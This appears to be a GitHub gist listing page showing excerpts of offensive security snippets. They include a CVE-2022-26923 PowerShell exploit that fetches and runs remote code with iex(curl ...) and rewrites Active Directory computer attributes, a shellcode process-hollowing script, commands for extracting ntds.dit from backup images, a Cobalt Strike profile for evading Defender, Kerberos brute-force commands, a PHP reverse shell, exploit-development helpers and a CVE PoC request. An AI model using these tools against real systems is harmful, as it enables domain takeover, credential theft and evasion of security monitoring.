Skip to content

Instantly share code, notes, and snippets.

View icheernoom's full-sized avatar
😆
Focusing

ICheer_No0M icheernoom

😆
Focusing
31 followers · 34 following
View GitHub Profile
@vinhjaxt
vinhjaxt / Windows server officials ISO file.md
Created May 14, 2022 19:15
Windows server officials ISO file
@Wh04m1001
Wh04m1001 / CVE-2022–26923.ps1
Last active June 23, 2023 10:09
iex(curl https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1 -UseBasicParsing )
Import-ActiveDirectory
Set-ADComputer WIN-JQTB1UHHF2S -ServicePrincipalNames @{REPLACE="HOST/WIN-JQTB1UHHF2S","RestrictedKrbHost/WIN-JQTB1UHHF2S"} -Verbose
#in my testing i had to set dnshostname to $null first
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName $null
Set-ADComputer WIN-JQTB1UHHF2S -DNSHostName dc1.batcave.local
@qtc-de
qtc-de / DynWin32-ShellcodeProcessHollowing.ps1
Created January 29, 2022 15:17
PowerShell implementation of shellcode based Process Hollowing that only relies on dynamically resolved Win32 API functions
<#
DynWin32-ShellcodeProcessHollowing.ps1 performs shellcode based process hollowing using
dynamically looked up Win32 API calls. The script obtains the methods GetModuleHandle,
GetProcAddress and CreateProcess by using reflection. Afterwards it utilizes GetModuleHandle
and GetProcAddress to obtain the addresses of the other required Win32 API calls.
When all required Win32 API calls are looked up, it starts svchost.exe in a suspended state
and overwrites the entrypoint with the specified shellcode. Afterwards, the thread is resumed
and the shellcode is executed enveloped within the trusted svchost.exe process.
@zimnyaa
zimnyaa / vhdx-on-smb-share.sh
Created January 19, 2022 12:02
Unpack .vhdx and decrypt ntds.dit (often used for backups and can be found on open SMB shares)
# runs on kali out-of-the-box
# this is not a ready-made script, more like a collection of commands
# QEMU mounting a drive
modprobe nbd max_part=16
qemu-nbd -c /dev/nbd0 filename.vhdx
# look for the second partition, usually where the FS resides
fdisk -l /dev/nbd0
@tothi
tothi / minimal-defender-bypass.profile
Last active August 15, 2025 09:08
Minimal Cobalt Strike C2 Profile for Bypassing Defender
# in addition to the profile, a stage0 loader is also required (default generated payloads are caught by signatures)
# as stage0, remote injecting a thread into a suspended process works
set host_stage "false";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Edg/96.0.1054.62";
set sleeptime "10000";
stage {
set allocator "MapViewOfFile";
set name "notevil.dll";
@S3cur3Th1sSh1t
S3cur3Th1sSh1t / kerberos_attacks_cheatsheet.md
Created December 13, 2021 12:58 — forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks

Kerberos cheatsheet

Bruteforcing

With kerbrute.py:

python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>

With Rubeus version with brute module:

@leonjza
leonjza / README.md
Last active October 12, 2022 19:40
A PHP eval() reverse shell.

php eval shell

A reverse shell that lets you evaluate PHP.
This is not an OS command reverse shell per-se but you could eval a function like system("id") for that if you wanted to.

Useful to poison an existing PHP file and explore the currently loaded environment.

example

@JohnHammond
JohnHammond / stack_string.py
Created June 20, 2021 14:44
#!/usr/bin/env python3
"""
# NOTE, you must change the string below for data you want.
# This script does not take arguments in its current form. Sorry!
"""
from pwn import *
string = b"foobar"
@JohnHammond
JohnHammond / rop_ripper.py
Created June 20, 2021 14:42
#!/usr/bin/env python3
"""
# NOTE, you must change the filename below for the rp++ output you want to process.
# This script does not take arguments in its current form. Sorry!
"""
import re
from pwn import p32, u32
@testanull
testanull / PoC_CVE-2021–31474.json
Created May 25, 2021 10:20
POST /api/Action/TestAction HTTP/1.1
Host: <target>
Content-Length: 3978
Accept: application/json, text/javascript, */*; q=0.01
X-XSRF-TOKEN: <token>
X-Requested-With: XMLHttpRequest
ViewLimitationID: 0
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Cookie: <cookie>